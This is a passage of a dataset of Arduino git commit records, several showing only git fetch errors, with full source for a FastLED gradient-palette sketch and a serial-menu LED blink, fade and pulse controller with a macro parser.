0)\n\t\t{\n\t\t\treadAnimation(file);\n\t\t}\n\n\t\tfile.close();\n\t}\n\telse\n\t\troot.rewindDirectory();\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SDAnimation.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e7af64bb49a598033e0e0a4c2e84c0eeb58aea98","subject":"add audio-menu and extra playmode","message":"add audio-menu and extra playmode\n","repos":"andydrop\/klampfinator,andydrop\/klampfinator","old_file":"src\/campfireXL\/campfireXL.ino","new_file":"src\/campfireXL\/campfireXL.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/andydrop\/klampfinator.git\/'\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"305d97a84b455230d6b74ea1c0da3f1f9f4410c6","subject":"Asservissement: mise en forme code asservissement vitesse","message":"Asservissement: mise en forme code asservissement vitesse\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Moteur\/Software\/Asservissement\/Asservissement vitesse\/src\/application.ino","new_file":"Module Moteur\/Software\/Asservissement\/Asservissement vitesse\/src\/application.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Moteur\/Software\/Asservissement\/Asservissement' did not match any file(s) known to git\nerror: pathspec 'vitesse\/src\/application.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"59b82ff04f51c791db84d8d666d98f0c83bc7265","subject":"Change 128x64 life to use tiny screen","message":"Change 128x64 life to use tiny screen\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"conway-life-128x64\/conway-life-128x64.ino","new_file":"conway-life-128x64\/conway-life-128x64.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f2a129d4192e7096049cded9364f1e1458093f76","subject":"Stuff","message":"Stuff\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"463f552047f6e5475b5b0ae0f17c53cb1d72ddb6","subject":"SoundBuzzer","message":"SoundBuzzer\n\nupdated the last note!\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Action Modules\/Piano Synthesizer\/PianoSynthesizerATtiny\/PianoSynthesizerATtiny.ino","new_file":"Action Modules\/Piano Synthesizer\/PianoSynthesizerATtiny\/PianoSynthesizerATtiny.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Action' did not match any file(s) known to git\nerror: pathspec 'Modules\/Piano' did not match any file(s) known to git\nerror: pathspec 'Synthesizer\/PianoSynthesizerATtiny\/PianoSynthesizerATtiny.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"97305fc3f7e3b06876af9bb73dea15c72b3f9024","subject":"Change control topic to, well, \"control\"","message":"Change control topic to, well, \"control\"","repos":"lgramatikov\/celeste","old_file":"WarningLamp.ino","new_file":"WarningLamp.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"323f1e45fad83a7ad6359521a14c468f4ff8cb6b","subject":"Create palette_example2.ino","message":"Create palette_example2.ino","repos":"marmilicious\/FastLED_examples","old_file":"palette_example2.ino","new_file":"palette_example2.ino","new_contents":"\/\/***************************************************************\n\/\/ Gradient palette that can have colors or anchor points updated on the fly.\n\/\/ This is based on some code from Mike Brown.\n\/\/ https:\/\/plus.google.com\/u\/0\/102054795236178256184\/posts\/UWbQBcmKDdU?cfem=1\n\/\/\n\/\/ Randomly picks start and end colors. Colors in middle remain\n\/\/ constant, but for fun their anchor points are randomly picked.\n\/\/\n\/\/ More info on gradient palettes here:\n\/\/ https:\/\/github.com\/FastLED\/FastLED\/wiki\/Gradient-color-palettes\n\/\/\n\/\/ Marc Miller, May 2017\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#if FASTLED_VERSION < 3001000\n#error \"Requires FastLED 3.1 or later; check github for latest code.\"\n#endif\n\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define NUM_LEDS 32\n#define COLOR_ORDER GRB\nCRGB leds[NUM_LEDS];\n#define BRIGHTNESS 255\n\nCRGBPalette256 currentPalette;\nCHSV hsv;\nCRGB rgb;\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200);\n delay(500); \/\/ startup delay\n \/\/FastLED.addLeds<LED_TYPE, DATA_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n}\n\n\/\/---------------------------------------------------------------\nvoid loop () {\n EVERY_N_SECONDS(2){\n newGradientPalette();\n }\n FastLED.show();\n FastLED.delay(100);\n}\n\n\n\/\/---------------------------------------------------------------\nvoid newGradientPalette(){\n uint8_t xyz[16]; \/\/ Needs to be 4 times however many colors are being used.\n \/\/ 3 colors = 12, 4 colors = 16, etc.\n\n hsv = CHSV(random8(), 255, 255); \/\/ pick random hue\n hsv2rgb_rainbow( hsv, rgb); \/\/ convert to R,G,B\n \n xyz[0] = 0; \/\/ anchor of first color - must be zero\n xyz[1] = rgb.r;\n xyz[2] = rgb.g;\n xyz[3] = rgb.b;\n\n xyz[4] = random8(48,118); \/\/ random anchor point for second color\n xyz[5] = 255;\n xyz[6] = 0;\n xyz[7] = 0;\n \n xyz[8] = random8(138,225); \/\/ random anchor point for third color\n xyz[9] = 0,\n xyz[10] = 255;\n xyz[11] = 0;\n\n hsv = CHSV(random8(), 255, 255); \/\/ pick random hue\n hsv2rgb_rainbow( hsv, rgb); \/\/ convert to R,G,B\n\n xyz[12] = 255; \/\/ anchor of last color - must be 255\n xyz[13] = rgb.r;\n xyz[14] = rgb.g;\n xyz[15] = rgb.b;\n\n currentPalette = xyz;\n\n for (int p = 0; p < NUM_LEDS; p++) {\n leds[p] = ColorFromPalette(currentPalette, p*255\/(NUM_LEDS-1), BRIGHTNESS, NOBLEND);\n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'palette_example2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7545999aa5dbfe4e4b309e0f4407c989f495584b","subject":"Initial add of serial menu\/macro based led control program for Arduino","message":"Initial add of serial menu\/macro based led control program for Arduino\n","repos":"greymattr\/StashHouse,greymattr\/StashHouse,greymattr\/StashHouse","old_file":"Arduino\/serial_led.ino","new_file":"Arduino\/serial_led.ino","new_contents":" \/***********************************************************************\n * Copyright (c) 2014 - Matthew Fatheree <greymattr@gmail.com>\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES. THE USER(S) ARE HEREBY NOTIFIED THAT USE OF THIS SOFTWARE MAY \n * MAY CAUSE LOSS OF DATA, DATA DESTRUCTION, HEALTH AND MENTAL PROBLEMS. IT \n * MAY CAUSE YOU TO START DRINKING, INCREASE YOUR STUPIDITY LEVEL, CLUB \n * BABY SEALS, AND OVERALL BECOME A BAD PERSON.\n *\n * PLEASE USE AT YOUR OWN RISK\n * ____ ________\n * \\ \\ \/ ___\/\n * | \\\/ __|\n * | |\\__\/| |\n * \/ \\atthew \\atheree \n ************************************************************************\/\n\n#include <stdarg.h>\n\n#define\tmin(a,b)\t ((a) < (b) ? (a) : (b))\n#define\tmax(a,b)\t ((a) > (b) ? (a) : (b))\n\n#define SET_BIT(p,n) ((p) |= (1 << (n)))\n#define CLR_BIT(p,n) ((p) &= (~(1) << (n)))\n#define IS_BIT_SET(val, bit_no) (((val) >> (bit_no)) & 1)\n\n#define INTENSE_MIN 0\n#define INTENSE_MAX 255\n\n\n\/\/#define FADE_STEPS 8\n#define FADE_STEPS 16\n\/\/#define FADE_STEPS 32\n\n#define SL_VERSION \"v0.1.1\"\n\n\n\n#define BORDER \"\\n--------------------\\n\"\n#define LED_CHOICE \"Which LED would you like to\"\n#define FREQ_CHOICE \"How quickly would you like it to\"\n#define REPEAT_CHOICE \"How many times should it\"\n#define INTENSE_CHOICE \"How bright\"\n#define MODE_SEL_ERR \"mode select error\\n\"\n#define PARAM_ERR \"parameter error\\n\"\n\n#define HIGH_VAL_STR \"High Value\"\n#define MID_VAL_STR \"Mid Value\"\n#define LOW_VAL_STR \"Low Value\"\n\n#define CONTROL_SETTINGS \"Control Settings\"\n#define START_INTS \"Start Intensity\"\n#define END_INTS \"End Intensity\"\n#define TXT_MACRO \"\\n\\n macro = \"\n\n\n#define MAX_MACRO_LEN 128\n#define SMALL_BUFF 8\n\n#define LED1_FLAG 1\n#define LED2_FLAG 2\n#define LED3_FLAG 4\n#define LED4_FLAG 8\n#define LED5_FLAG 16\n#define LED6_FLAG 32\n#define LED7_FLAG 64\n#define LED8_FLAG 128\n#define LED9_FLAG 256\n#define LED10_FLAG 512\n#define LED11_FLAG 1024\n#define LED12_FLAG 2048\n#define LED13_FLAG 4096\n\n\/\/macro modes\n#define MODE_BLINK 1\n#define MODE_PULSE 2\n#define MODE_FADE 3\n#define MODE_WAIT 4\n#define MODE_SET 5\n\n#define MAX_LEDS 13\n#define ALL_LEDS 8191\n#define NONE_LEDS 0\n\n#define POWER_SAVE\n\nint HighVal = INTENSE_MAX;\nint MidVal = INTENSE_MAX \/ 2;\nint LowVal = INTENSE_MIN;\nint UserLed = 10;\nint UserVal = INTENSE_MAX;\nint UserFreq = 1000;\nint UserRepeat = 1;\nint UserState1 = LowVal;\nint UserState2 = HighVal;\nchar Uinput[ MAX_MACRO_LEN ];\n\nvoid setup()\n{\n int x = 0;\n\n for( x=0; x<=MAX_LEDS; x++ ) {\n pinMode( UserLed,OUTPUT ); \/\/ Configure the onboard LED for output\n analogWrite( UserLed,0 ); \/\/ default to LED off\n }\n Serial.begin( 57600 );\n while( !Serial ) {\n delay( 500 );\n }\n delay( 1000 ); \/\/ because Arduino,... am I right?...\n\n}\n\nvoid p( char *fmt, ... )\n{\n char buf[MAX_MACRO_LEN]; \/\/ resulting string limited to 128 chars\n va_list args;\n va_start ( args, fmt );\n memset( buf, 0, sizeof( buf ) );\n vsnprintf( buf, MAX_MACRO_LEN, fmt, args );\n va_end ( args );\n Serial.print( buf );\n}\n\nvoid display_menu()\n{\n delay( 500 );\n p( \"\\n\\n LED %s %s\\n\", CONTROL_SETTINGS, SL_VERSION );\n p( \" I. Intensity %s\\n\", CONTROL_SETTINGS );\n p( \" F. Fade %s\\n\", CONTROL_SETTINGS );\n p( \" P. Pulse %s\\n\", CONTROL_SETTINGS );\n p( \" B. Blink %s\\n\", CONTROL_SETTINGS );\n p( \" C. Clear all LEDS off\\n\" );\n#if 0\n p( \" M. Macro %s\\n\", CONTROL_SETTINGS );\n#endif\n p( \"%s\", BORDER);\n p( \" > \" );\n}\n\nvoid loop()\n{\n char *selection;\n int a = 0;\n int ok;\n\n display_menu();\n selection = get_user_input();\n memset( Uinput, 0, sizeof( Uinput ) );\n for( a=0; a<( MAX_MACRO_LEN-1 ); a++ ) {\n Uinput[a] = ( char ) *( selection + a );\n if( Uinput[a] == '\\0' ) {\n break;\n }\n }\n switch ( Uinput[0] ) {\n case 'I':\n case 'i':\n IntensityControls();\n break;\n case 'F':\n case 'f':\n FadeControls();\n break;\n case 'P':\n case 'p':\n PulseControls();\n break;\n case 'B':\n case 'b':\n BlinkControls();\n break;\n case 'C':\n case 'c':\n p( \"\\n All LEDS OFF\\n\\n\" );\n a = 8191;\n p(\"%s c\\n\", TXT_MACRO);\n set_leds( a, 0 );\n break;\n case '*':\n SayHello();\n break;\n#if 1\n case 't':\n \/\/ put test functions here\n unrecognized();\n break;\n case 'M':\n case 'm':\n \/\/unrecognized();\n parse_macro( ( char * )( Uinput + 1 ) );\n break;\n#endif\n default:\n unrecognized();\n break;\n }\n\n}\n\n\nvoid set_leds( int leds, int brightness )\n{\n int x;\n \/\/p(\"\\nset led(s) %d at %d\\n\", leds, brightness);\n for( x=1; x<=MAX_LEDS; x++ ) {\n if( IS_BIT_SET( leds, x ) ) {\n analogWrite( x,brightness );\n }\n }\n}\n\nvoid leds_off( int leds )\n{\n set_leds( leds,0 );\n}\n\nvoid leds_on( int leds )\n{\n set_leds( leds,255 );\n}\n\nvoid blink_leds( int leds, int brightness, int freq, int repeat )\n{\n int i = 0, x = 0;\n int led;\n\n set_leds( leds, 0 );\n \/\/p( \"\\n blink led(s) %d at %d\/%dms %d times\\n\", leds, brightness, freq, repeat );\n for( i=0; i<repeat; i++ ) {\n set_leds( leds, brightness );\n delay( freq \/ 2 );\n set_leds( leds, 0 );\n delay( freq\/2 );\n }\n}\n\nvoid blink_led( int led, int b, int f, int r )\n{\n int ls = 0;\n SET_BIT( ls, led );\n blink_leds( ls, b, f, r );\n}\n\nvoid fade_leds( int leds, int from, int to, int freq, int repeat )\n{\n int total_time = freq;\n int steps = FADE_STEPS;\n int total_range = ( ( max( from,to ) ) - min( from,to ) );\n int step_value = ( total_range \/ steps );\n int sleep_value = ( total_time \/ steps );\n int i, y;\n int curval;\n int led = 0;\n\n \/\/p( \"\\n fade led(s) %d from %d to %d\/%dms %d times\\n\", leds, from, to, freq, repeat );\n for( i=0; i<repeat; i++ ) {\n curval = from;\n for ( y=0; y<=steps; y++ ) {\n if( curval < 0 ) {\n curval = 0;\n }\n set_leds( leds, curval );\n if( curval > to ) {\n curval = curval - step_value;\n } else {\n curval = curval + step_value;\n }\n delay( sleep_value );\n }\n }\n set_leds( leds, to );\n}\n\nvoid fade_led( int leds, int from, int to, int freq, int repeat )\n{\n int ls = 0;\n SET_BIT( ls, leds );\n fade_leds( ls, from, to, freq, repeat );\n}\n\n\nvoid pulse_leds( int leds, int from, int to, int freq, int repeat )\n{\n int i;\n int new_freq = freq \/ 2;\n for( i=0; i<repeat; i++ ) {\n fade_leds( leds, from, to, new_freq, 1 );\n fade_leds( leds, to, from, new_freq, 1 );\n }\n\n}\n\nvoid pulse_led( int led, int from, int to, int freq, int repeat )\n{\n int ls = 0;\n SET_BIT( ls, led );\n pulse_leds( ls, from, to, freq, repeat );\n}\n\nvoid SayHello()\n{\n p( \"%s\", BORDER );\n p( \"\\n Hey Matt... greymattr want a beer?... You're awesome!...\\n\" );\n p( \"%s\", BORDER );\n}\n\nchar *get_user_input()\n{\n int i=0;\n char b = 0;\n char commandbuffer[MAX_MACRO_LEN];\n\n memset( commandbuffer, 0, sizeof( commandbuffer ) );\n while( i < ( sizeof( commandbuffer )-1 ) ) {\n if( Serial.available() ) {\n b = Serial.read();\n if( b != 0x08 ){\n commandbuffer[i++] = b;\n } else {\n commandbuffer[i] = '\\0';\n i--;\n }\n if( ( b == 0x0a ) || ( b== 0x0d ) ) {\n break;\n } else {\n Serial.write( b );\n }\n }\n }\n if( i<2 ) {\n return \"\\0\";\n }\n commandbuffer[i]='\\0';\n \/\/p(\"\\ncmd buffer = %s\\n\", commandbuffer);\n return commandbuffer;\n}\n\nint get_user_int( int orig )\n{\n char *arg = '\\0';\n int val = 0;\n arg = get_user_input();\n if( *arg != '\\0' ) {\n val=atoi( arg );\n if( ( val >= INTENSE_MIN ) && ( val <= INTENSE_MAX ) ) {\n return val;\n } else {\n return orig;\n }\n }\n return orig;\n}\n\nint get_user_intlarge( int orig )\n{\n char *arg = '\\0';\n int val = 0;\n arg = get_user_input();\n if( *arg != '\\0' ) {\n val=atoi( arg );\n if( ( val >= 0 ) && ( val <= 0xFFFF ) ) {\n return val;\n } else {\n return orig;\n }\n }\n return orig;\n}\n\nvoid BlinkControls()\n{\n int aNumber;\n char resp;\n char *arg = '\\0';\n int ok;\n int val;\n\n Serial.flush();\n p( \"\\n\\nBlink %s\\n\", CONTROL_SETTINGS );\n p( \"%s blink [ %d ]?: \", LED_CHOICE, UserLed );\n while( !Serial.available() ) {\n ;\n }\n UserLed = get_user_int( UserLed );\n p( \"\\n%s blink [ %dms ]?: \", FREQ_CHOICE, UserFreq );\n while( !Serial.available() ) {\n ;\n }\n UserFreq = get_user_intlarge( UserFreq );\n p( \"\\n%s (1-255) [ %d ]?: \", INTENSE_CHOICE, UserVal );\n while( !Serial.available() ) {\n ;\n }\n UserVal = get_user_int( UserVal );\n p( \"\\n%s should it blink [ %d ]?: \", REPEAT_CHOICE, UserRepeat );\n while( !Serial.available() ) {\n ;\n }\n UserRepeat = get_user_int( UserRepeat );\n p(\"%s ml(%d)b(%d,%d,%d)\\n\", TXT_MACRO,UserLed, UserVal, UserFreq, UserRepeat);\n blink_led( UserLed, UserVal, UserFreq, UserRepeat );\n}\n\nvoid IntensityControls()\n{\n char *arg = NULL;\n int val = 0;\n int ok;\n\n Serial.flush();\n p( \"\\n\\nIntensity %s ( 1 - 255 )\\n\", CONTROL_SETTINGS );\n p( \"%s [ %d ]?: \",HIGH_VAL_STR, HighVal );\n while( !Serial.available() ) {\n ;\n }\n HighVal = get_user_int( HighVal );\n p( \"\\n %s [ %d ]?: \",MID_VAL_STR, MidVal );\n while( !Serial.available() ) {\n ;\n }\n MidVal = get_user_int( MidVal );\n p( \"\\n %s [ %d ]?: \",LOW_VAL_STR, LowVal );\n while( !Serial.available() ) {\n ;\n }\n LowVal = get_user_int( LowVal );\n p( \"%s\", BORDER );\n p( \"%s=%d, %s=%d, %s=%d\\n\",HIGH_VAL_STR,HighVal,MID_VAL_STR, MidVal,LOW_VAL_STR, LowVal );\n p( \"%s\", BORDER );\n p( \"\\n%s set [ %d ]?: \", LED_CHOICE, UserLed );\n while( !Serial.available() ) {\n ;\n }\n UserLed = get_user_int( UserLed );\n p( \"\\n%s [ %d ]?: \", INTENSE_CHOICE, UserVal );\n while( !Serial.available() ) {\n ;\n }\n UserVal = get_user_intlarge( UserVal );\n p( \"%s\", BORDER );\n p( \"\\nLED %d set to %d\\n\", UserLed, UserVal );\n p(\"%s ml(%d)i(%d)\\n\", TXT_MACRO,UserLed, UserVal);\n analogWrite( UserLed, UserVal );\n p( \"%s\", BORDER );\n}\n\nvoid intensity_menu()\n{\n p( \"\\n a. %s ( %d )\\n\", HIGH_VAL_STR, HighVal );\n p( \" b. %s ( %d )\\n\", MID_VAL_STR, MidVal );\n p( \" c. %s ( %d )\\n\", LOW_VAL_STR, LowVal );\n}\n\nvoid FadeControls()\n{\n char *arg = '\\0';\n int state1 = UserState1;\n int state2 = UserState2;\n\n Serial.flush();\n p( \"\\n\\nFade %s\\n\", CONTROL_SETTINGS );\n p( \"%s fade [ %d ]?: \", LED_CHOICE, UserLed );\n while( !Serial.available() ) {\n ;\n }\n UserLed = get_user_int( UserLed );\n intensity_menu();\n p( \"%s [ %d ]?: \", START_INTS, UserState1 );\n while( !Serial.available() ) {\n ;\n }\n arg = get_user_input();\n switch( *arg ) {\n case 'A':\n case 'a':\n UserState1 = HighVal;\n break;\n case 'B':\n case 'b':\n UserState1 = MidVal;\n break;\n case 'C':\n case 'c':\n UserState1 = LowVal;\n break;\n default:\n state1 = atoi( arg );\n if( ( state1 > 255 ) || ( state1 < 0 ) ) {\n state1=UserState1;\n } else {\n state1 = UserState1;\n }\n break;\n }\n intensity_menu();\n p( \"%s [ %d ]?: \",END_INTS, UserState2 );\n while( !Serial.available() ) {\n ;\n }\n arg = get_user_input();\n switch( *arg ) {\n case 'A':\n case 'a':\n state2 = HighVal;\n break;\n case 'B':\n case 'b':\n state2 = MidVal;\n break;\n case 'c':\n case 'C':\n state2 = LowVal;\n break;\n default:\n state2 = atoi( arg );\n if( ( state2 > 255 ) || ( state2 < 0 ) ) {\n state2=UserState2;\n } else {\n state2 = UserState2;\n }\n break;\n }\n UserState2 = state2;\n p( \"\\n%s fade [ %d ]?: \", FREQ_CHOICE, UserFreq );\n while( !Serial.available() ) {\n ;\n }\n UserFreq = get_user_intlarge( UserFreq );\n p( \"\\n%s fade [ %d ]?: \", REPEAT_CHOICE, UserRepeat );\n while( !Serial.available() ) {\n ;\n }\n UserRepeat = get_user_int( UserRepeat );\n p(\"%s ml(%d)f(%d,%d,%d,%d)\\n\", TXT_MACRO,UserLed, UserState1, UserState2, UserFreq, UserRepeat);\n fade_led( UserLed, UserState1, UserState2, UserFreq, UserRepeat );\n}\n\nvoid PulseControls()\n{\n char *arg = '\\0';\n int sel = 0;\n int state1, state2;\n int ok;\n\n Serial.flush();\n p( \"\\n\\nPulse %s\\n\", CONTROL_SETTINGS );\n p( \"%s Pulse [ %d ]?: \",LED_CHOICE, UserLed );\n while( !Serial.available() ) {\n ;\n }\n UserLed = get_user_int( UserLed );\n intensity_menu();\n p( \"%s [ %d ]?: \", START_INTS, UserState1 );\n while( !Serial.available() ) {\n ;\n }\n arg = get_user_input();\n switch( arg[0] ) {\n case 'a':\n case 'A':\n state1 = HighVal;\n break;\n case 'b':\n case 'B':\n state1 = MidVal;\n break;\n case 'c':\n case 'C':\n state1 = LowVal;\n break;\n default:\n state1 = atoi( arg );\n if( ( state1 > 255 ) || ( state1 < 0 ) ) {\n state1=UserState1;\n } else {\n state1 = UserState1;\n }\n break;\n }\n UserState1 = state1;\n p( \"\\n%s %d\\n\", START_INTS, UserState1 );\n intensity_menu();\n p( \"%s [ %d ]?: \",END_INTS, UserState2 );\n while( !Serial.available() ) {\n ;\n }\n arg = get_user_input();\n switch( arg[0] ) {\n case 'a':\n case 'A':\n state2 = HighVal;\n break;\n case 'b':\n case 'B':\n state2 = MidVal;\n break;\n case 'c':\n case 'C':\n state2 = LowVal;\n break;\n default:\n state2 = atoi( arg );\n if( ( state2 > 255 ) || ( state2 < 0 ) ) {\n state2=UserState2;\n } else {\n state2 = UserState2;\n }\n break;\n }\n UserState2 = state2;\n p( \"\\n%s pulse [ %d ]?: \", FREQ_CHOICE, UserFreq );\n while( !Serial.available() ) {\n ;\n }\n UserFreq=get_user_intlarge( UserFreq );\n p( \"\\n%s pulse [ %d ]?: \", REPEAT_CHOICE, UserRepeat );\n while( !Serial.available() ) {\n ;\n }\n UserRepeat=get_user_int( UserRepeat );\n p(\"%s ml(%d)p(%d,%d,%d,%d)\\n\", TXT_MACRO,UserLed, UserState1, UserState2, UserFreq, UserRepeat);\n pulse_led( UserLed, UserState1, UserState2, UserFreq, UserRepeat );\n}\n\nint parse_macro( char *macro )\n{\n int ok = 0;\n long int leds = 0;\n char *ch;\n char buf[ SMALL_BUFF ];\n int val1 = -1;\n int val2 = -1;\n int freq = -1;\n int repeat = -1;\n int wait = -1;\n int state = 0;\n int i, x;\n int scratch = 0;\n int mode = 0;\n\n set_leds( ALL_LEDS, 0 );\n p( \"\\nRun Macro [ %s ]\\n\", macro-1 );\n for( i=0; i<( MAX_MACRO_LEN - 1 ); i++ ) {\n ch = ( char * )( macro + i );\n switch( *ch ) {\n case 'l':\n case 'L':\n leds = 0;\n if( *( ch + 1 ) == '(' ) {\n i++; \/\/ skip char\n memset( buf, 0, sizeof( buf ) );\n for( x=0; x<sizeof( buf ); x++ ) {\n i++;\n ch = ( char * )( macro + i );\n switch( *ch ) {\n case ',':\n case ')':\n scratch = atoi( buf );\n \/\/p(\"got led #%d\\n\", scratch);\n SET_BIT( leds, scratch );\n if( *ch == ')' ) {\n for( x=0; x<MAX_LEDS; x++ ) {\n if( IS_BIT_SET( leds, x ) ) {\n p( \"+ LED #%d\\n\", x );\n }\n }\n x = sizeof( buf ); \/\/ stop here\n } else {\n memset( buf, 0, sizeof( buf ) );\n x = -1;\n }\n break;\n default:\n buf[x] = *ch;\n \/\/p(\"buf[%d] = %c\\n\", x, *ch);\n break;\n }\n }\n } else {\n p( \"LED err: %s\", PARAM_ERR );\n ok = -1;\n }\n \/\/leds = 0;\n val1 = -1;\n val2 = -1;\n freq = -1;\n wait = - 1;\n repeat = -1;\n mode = 0;\n break;\n case 'b':\n case 'B':\n i++;\n if( mode == 0 ) {\n p(\"\\nBlink\\n\");\n mode = MODE_BLINK;\n } else {\n p( \"%s\",MODE_SEL_ERR );\n }\n for( x=0; x<sizeof( buf ); x++ ) {\n i++;\n ch = ( char * )( macro + i );\n switch( *ch ) {\n case ',':\n case ')':\n scratch = atoi( buf );\n \/\/p(\"got led #%d\\n\", scratch);\n if( val1 == -1 ) {\n p( \"got %s %d\\n\", END_INTS, scratch );\n val1 = scratch;\n x = -1;\n } else {\n if( freq == -1 ) {\n p( \"got frequency %d\\n\", scratch );\n freq = scratch;\n x = -1;\n } else {\n if( repeat == -1 ) {\n p( \"got repeat %d\\n\", scratch );\n repeat = scratch;\n blink_leds( leds, val1, freq, repeat );\n x = sizeof( buf );\n } else {\n p( \"Blink set %s\", PARAM_ERR );\n }\n }\n }\n memset( buf, 0, sizeof( buf ) );\n break;\n default:\n buf[x] = *ch;\n \/\/p(\"buf[%d] = %c\\n\", x, *ch);\n break;\n }\n }\n \/\/leds = 0;\n val1 = -1;\n val2 = -1;\n freq = -1;\n wait = - 1;\n repeat = -1;\n mode = 0;\n break;\n case 'f':\n case 'F':\n case 'p':\n case 'P':\n i++;\n if( mode == 0 ) {\n if( ( *ch == 'f' ) || ( *ch == 'F' ) ) {\n mode = MODE_FADE;\n p( \"\\nFade\\n\" );\n } else {\n mode = MODE_PULSE;\n p( \"\\nPulse\\n\" );\n }\n } else {\n p( \"%s\",MODE_SEL_ERR );\n }\n for( x=0; x<sizeof( buf ); x++ ) {\n i++;\n ch = ( char * )( macro + i );\n switch( *ch ) {\n case ',':\n case ')':\n scratch = atoi( buf );\n \/\/p(\"got led #%d\\n\", scratch);\n if( val1 == -1 ) {\n p( \"got %s %d\\n\",START_INTS, scratch );\n val1 = scratch;\n x = -1;\n } else {\n if ( val2 == -1 ) {\n p( \"got %s %d\\n\",END_INTS, scratch );\n val2 = scratch;\n x = -1;\n } else {\n if( freq == -1 ) {\n p( \"got frequency %d\\n\", scratch );\n freq = scratch;\n x = -1;\n } else {\n if( repeat == -1 ) {\n p( \"got repeat %d\\n\", scratch );\n repeat = scratch;\n if( mode == MODE_FADE ) {\n fade_leds( leds, val1, val2, freq, repeat );\n } else {\n pulse_leds( leds, val1, val2, freq, repeat );\n }\n x = sizeof( buf );\n } else {\n p( \"set %s\", PARAM_ERR );\n }\n }\n }\n }\n memset( buf, 0, sizeof( buf ) );\n break;\n default:\n buf[x] = *ch;\n \/\/p(\"buf[%d] = %c\\n\", x, *ch);\n break;\n }\n }\n \/\/leds = 0;\n val1 = -1;\n val2 = -1;\n freq = -1;\n wait = - 1;\n repeat = -1;\n mode = 0;\n break;\n case 'i':\n case 'I':\n if( mode == 0 ) {\n mode = MODE_SET;\n p( \"\\nIntensity\\n\" );\n } else {\n p( \"%s\",MODE_SEL_ERR );\n }\n i++;\n mode = MODE_SET;\n memset( buf,0, sizeof( buf ) );\n for( x=0; x<sizeof( buf ); x++ ) {\n i++;\n ch = ( char * )( macro + i );\n switch( *ch ) {\n case ')':\n if( freq == -1 ) {\n scratch = atoi( buf );\n p( \"got %s %d\\n\", END_INTS, scratch );\n val1 = scratch;\n set_leds( leds, val1 );\n x = sizeof( buf );\n } else {\n p( \"intensity %s\", PARAM_ERR );\n }\n break;\n default:\n buf[x] = *ch;\n break;\n }\n }\n \/\/leds = 0;\n val1 = -1;\n val2 = -1;\n freq = -1;\n wait = - 1;\n repeat = -1;\n mode = 0;\n break;\n case 'w':\n case 'W':\n if( ( mode == 0 ) && ( *( ch+1 ) == '(' ) ) {\n i++;\n p( \"\\nWait\\n\" );\n mode = MODE_WAIT;\n memset( buf,0, sizeof( buf ) );\n for( x=0; x<sizeof( buf ); x++ 